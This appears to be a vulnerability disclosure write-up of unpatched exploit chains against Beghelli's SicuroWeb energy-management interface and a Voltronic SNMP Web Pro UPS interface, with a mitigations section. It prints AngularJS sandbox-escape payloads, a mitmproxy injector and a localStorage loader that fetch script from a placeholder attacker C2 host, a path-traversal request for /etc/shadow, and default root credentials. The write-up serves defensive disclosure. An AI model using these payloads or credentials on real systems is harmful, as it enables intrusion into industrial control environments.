These vulnerabilities were discovered during a professional security assessment and reported to both vendors on December 9th, 2025. Neither vendor has acknowledged the disclosure or published a fix. This publication follows the 120-day coordinated disclosure deadline set by VulnCheck.
Context & Discovery
During a penetration test defined as exhaustive in scope, SicuroWeb -- the web-based management interface of the Sicuro24 platform developed by Beghelli -- was identified as an interesting target. The application is used for energy supply control within industrial and OT environments and is exposed with no known public vulnerabilities. This was a full blackbox assessment with no credentials.
The objective was clear: if a vulnerability existed, it would need to be found from scratch. The attack surface was minimal. What followed was a 7-step exploit chain that turned a constrained template injection into a persistent, remotely-controlled JavaScript execution environment inside the victim's browser -- with no user interaction.
Discovery
Injection
Escape
Pivot
Execution
Persistence
C2 Control
Step 1 -- Technology Identification & Attack Surface
The first challenge was identifying the technology stack with no credentials and no prior documentation. A review of the HTTP responses and JavaScript assets quickly revealed that SicuroWeb was built on AngularJS, the legacy client-side MVC framework from Google. More precisely:
// Identified in a JS asset
angular.version.full = "1.5.2"
AngularJS 1.5.2 is a version with known sandbox escape primitives. The AngularJS sandbox was a security mechanism introduced in 1.x that attempted to restrict what JavaScript could be executed inside template expressions -- but it was formally removed in AngularJS 1.6 after being proven bypassed repeatedly. Versions prior to 1.6 are therefore inherently susceptible.
The attack surface was extremely limited: the login form rejected all injection attempts without reflection. However, a more careful enumeration of the application's directory structure revealed a critical exposure:
GET /templates/ HTTP/1.1
→ Directory listing enabled
→ All AngularJS HTML templates exposed and accessible unauthenticated
Inside these templates, the application was inserting values into an AngularJS-compiled template context without sanitization -- meaning AngularJS expressions placed inside {{ }} delimiters would be evaluated and executed automatically by the framework.
Step 2 -- AngularJS Template Injection (Vuln. #1)
The initial proof of injection was established using a minimal payload that confirmed expression evaluation. The key insight is that AngularJS does not display the raw expression -- it evaluates it. There is no visible output for a successful injection; execution is the only indicator.
Payload -- Initial confirmation
{{a=(this).constructor.constructor('alert(1)')()}}
Execution flow:
- AngularJS compiles the template and encounters the
{{ }}expression - The expression accesses
this.constructor.constructor-- which resolves toFunction() Function('alert(1)')creates an anonymous function- The trailing
()immediately invokes it alert(1)fires -- expression evaluation confirmed
The injection was not visible as output on the page. AngularJS evaluated it directly -- this is a defining characteristic of template injection versus reflected XSS. The payload is not reflected as text; it is executed as code.
The template injection was classified as CWE-79 (Cross-Site Scripting) and CWE-1336 (Template Injection). At this stage, execution was constrained within the AngularJS sandbox.
Step 3 -- Sandbox Escape (Vuln. #2)
The AngularJS sandbox restricts access to potentially dangerous objects like Function, window, and document. However, AngularJS 1.5.2 contains a well-documented weakness in its sandbox implementation: it does not block access to Function when reached through prototype chain traversal.
The escape primitive leveraged is based on a classic technique:
- Start from any in-scope object (
thisor a string literal'') - Access
.constructor-- returns the object's own constructor (e.g.,String) - Access
.constructoragain -- returnsFunctionitself Function('code')()executes arbitrary JavaScript outside the sandbox
Payload -- Sandbox escape confirmation
{{(this).constructor.constructor('alert("Angular Sandbox Bypassed")')()}}
The alert fired. The sandbox was defeated. From this point, the attacker has unrestricted access to native browser APIs:
- Full DOM read/write (
document.querySelector,innerHTML) - Script element creation and injection (
document.createElement('script')) - Access to browser storage (
localStorage,sessionStorage) - Session cookie access (if not
HttpOnly) - Arbitrary HTTP requests (
fetch,XMLHttpRequest)
This is classified as CWE-94 (Code Injection) and CWE-1104 (Use of Unmaintained Third-Party Components). The use of AngularJS 1.5.2 is itself the enablement vector -- this version's sandbox was broken years before this engagement.
Step 4 -- No Reflected Vector: MITM Pivot
With a working sandbox escape payload confirmed, the next challenge was delivery. Every HTML template and $routeProvider route was reviewed systematically for:
- Unsanitized interpolations (
{{ }}with user-controlled values) - Trust-bound attributes (
ng-bind-html,$sce.trustAsHtml) - Reflection of
$location.search()values in templates
The conclusion was unambiguous: no GET-based injection point reflected into templates. No URL parameter was processed by the template engine in a way that would allow remote injection. This rules out a standard reflected XSS delivery vector and would normally reduce the vulnerability to "self-XSS" -- exploitable only by the attacker against themselves.
This is the technical pivot that elevates this finding from medium-severity XSS to a full pre-authentication attack chain. The delivery mechanism is not the web application -- it is the network layer.
Since the application operated over plaintext HTTP with no HTTPS enforcement, a Man-in-the-Middle position on the network path allowed transparent interception and modification of responses. The vulnerability was not in how the application served the page -- it was in the fact that responses could be modified in transit before reaching the victim's browser.
Step 5 -- Weaponization via mitmproxy
A custom mitmproxy addon was developed to automatically inject the AngularJS template injection + sandbox escape payload into every intercepted HTML response. The logic is a response rewriter: if the content type is text/html, inject before </head>. No user interaction required. The payload fires on every page load.
mitm-exploit.py -- Response rewriter (simplified)
from mitmproxy import http
ATTACKER = "[ATTACKER-C2]:8081"
SANDBOX_ESCAPE_TI_PAYLOAD = """
<div ng-init="__p='{{constructor.constructor(
`(function(){
var s = document.createElement('script');
s.src = 'http://[ATTACKER-C2]/jquery.js';
document.head.appendChild(s);
})()`
)()}}'">{{__p}}</div>
"""
def response(flow: http.HTTPFlow) -> None:
ct = flow.response.headers.get("content-type", "").lower()
if "text/html" in ct:
html = flow.response.get_text()
injection = "<script>" + SANDBOX_ESCAPE_TI_PAYLOAD + "</script>"
html = html.replace("</head>", injection + "</head>")
flow.response.set_text(html)
Launch:
root@attacker:~# mitmproxy -s mitm-exploit.py
From this point, every time the victim loads any page of SicuroWeb through the intercepted connection, the payload executes automatically. The result is:
- Remote, controllable JavaScript execution
- No user interaction beyond the normal page load
- Automatic re-execution on every intercepted page
Step 6 -- Persistence via Missing CSP (Vuln. #3)
The absence of a Content Security Policy is not a standalone vulnerability, but in the context of this chain, it is the mechanism that transforms one-shot script execution into a persistent, cross-session foothold.
A restrictive CSP would have blocked:
- Inline script execution (
script-src 'none'or nonce-based) - Dynamic script element creation
- Loading of external scripts from attacker-controlled origins
With no CSP in place, the browser imposes no restrictions. The persistence mechanism stored the attacker's next-stage loader URL in localStorage -- a mechanism that survives page navigation, logout/login cycles, and browser restarts:
Persistence bootstrapper -- localStorage-based
// Executed once via the sandbox escape -- stores the loader URL
localStorage.setItem("persist_loader", "https://[ATTACKER-C2]/payload.js");
// Runs on every page load -- no further MITM required
const url = localStorage.getItem("persist_loader");
if (url) {
let s = document.createElement("script");
s.src = url;
document.head.appendChild(s);
}
This accomplishes four objectives simultaneously:
- Cross-page persistence -- reloaded on every administrative page
- Cross-session persistence -- survives browser restarts
- Remote command capability -- updating
payload.jschanges behavior without re-exploitation - CSP bypass by design -- there is no policy to bypass
Classification: CWE-693 (Protection Mechanism Failure). The absence of a defensive header becomes an offensive primitive.
Full Chain -- Impact Analysis
Function() constructor. Escalates template injection to unrestricted JS execution. CWE-94, CWE-1104.By combining these three weaknesses, an attacker in a MITM position achieves a stable, remote-controlled, persistent execution environment inside the browser of any authenticated SicuroWeb operator. The resulting capabilities include:
- Arbitrary JavaScript execution inside authenticated management sessions
- DOM read/write -- full manipulation of the electrical system management UI
- Session token theft and long-term session hijacking
- Social engineering via UI replacement (credential harvesting)
- Lateral movement via SOCKS proxy or BeEF-style C2 from the browser
- Persistent compromise surviving logout, navigation, and browser restarts
In an OT/ICS environment, a compromised operator browser with full DOM control over the energy management interface represents a significant risk -- not just to information security, but to the operational processes being managed through that interface.
Disclosure Timeline
Mitigations
As no patch has been issued by the vendor, the following compensating controls apply immediately:
- Upgrade or remove AngularJS -- AngularJS 1.x is end-of-life since December 2021. The sandbox was not a security mechanism; it was always breakable. Migrate to a maintained framework.
- Deploy a restrictive Content Security Policy -- At minimum:
script-src 'self'to block external script loading. Nonce-based CSP eliminates inline execution entirely. - Enforce HTTPS/TLS -- The MITM delivery vector is only viable over plaintext HTTP. TLS with HSTS eliminates the network injection path.
- Sanitize template rendering -- Patch logic to prevent user-controlled values from being passed to Angular's
$compileor template evaluation context. - Network segmentation -- Isolate SicuroWeb interfaces from general network access. Restrict to dedicated management VLANs.
- If not actively used -- decommission -- A management interface that is not actively used should be removed from the network entirely.
Key Takeaways
During the same assessment, an industrial IoT device running the SNMP Web Pro management interface (Voltronic Power, version 1.1) was found vulnerable to a separate three-step chain that results in unauthenticated root-level compromise.
localStorage
upload.cgi
Disclosure
Offline
BusyBox
CVE-2026-22192 -- Client-Side Authentication Bypass
The SNMP Web Pro interface enforces authentication state and access control logic exclusively client-side, stored in browser localStorage. There is no server-side session validation. An attacker can manipulate local storage values to bypass the authentication gate entirely without any credentials.
// Authentication state stored client-side only
// File: /commJS/login.js -- No server-side enforcement
// Bypass: set localStorage auth values directly in browser console
CVE-2026-22199 -- Pre-Auth Path Traversal via upload.cgi
The CGI endpoint upload.cgi fails to validate the params parameter, allowing directory traversal without authentication. This enables arbitrary file disclosure from the underlying Linux system.
GET /cgi-bin/upload.cgi?name=download¶ms=../../../../../../../etc/shadow HTTP/1.1
Host: [REDACTED-DEVICE]
→ Returns the contents of /etc/shadow directly
→ No authentication required
Root RCE -- Hash Crack + SSH
The retrieved /etc/shadow contained the root password hash. Offline cracking revealed default credentials (root / 12345678), which granted direct SSH access to the device:
ssh root@[REDACTED-DEVICE]
→ BusyBox shell as root
→ Full device compromise
→ Persistent backdoor capability
→ Control over industrial UPS functions
The overall impact of this chain: a completely unauthenticated attacker with network access to the device achieves root-level persistent compromise of an industrial IoT device. In OT environments, this device typically has access to network segments not reachable from corporate infrastructure, making it a high-value pivot point.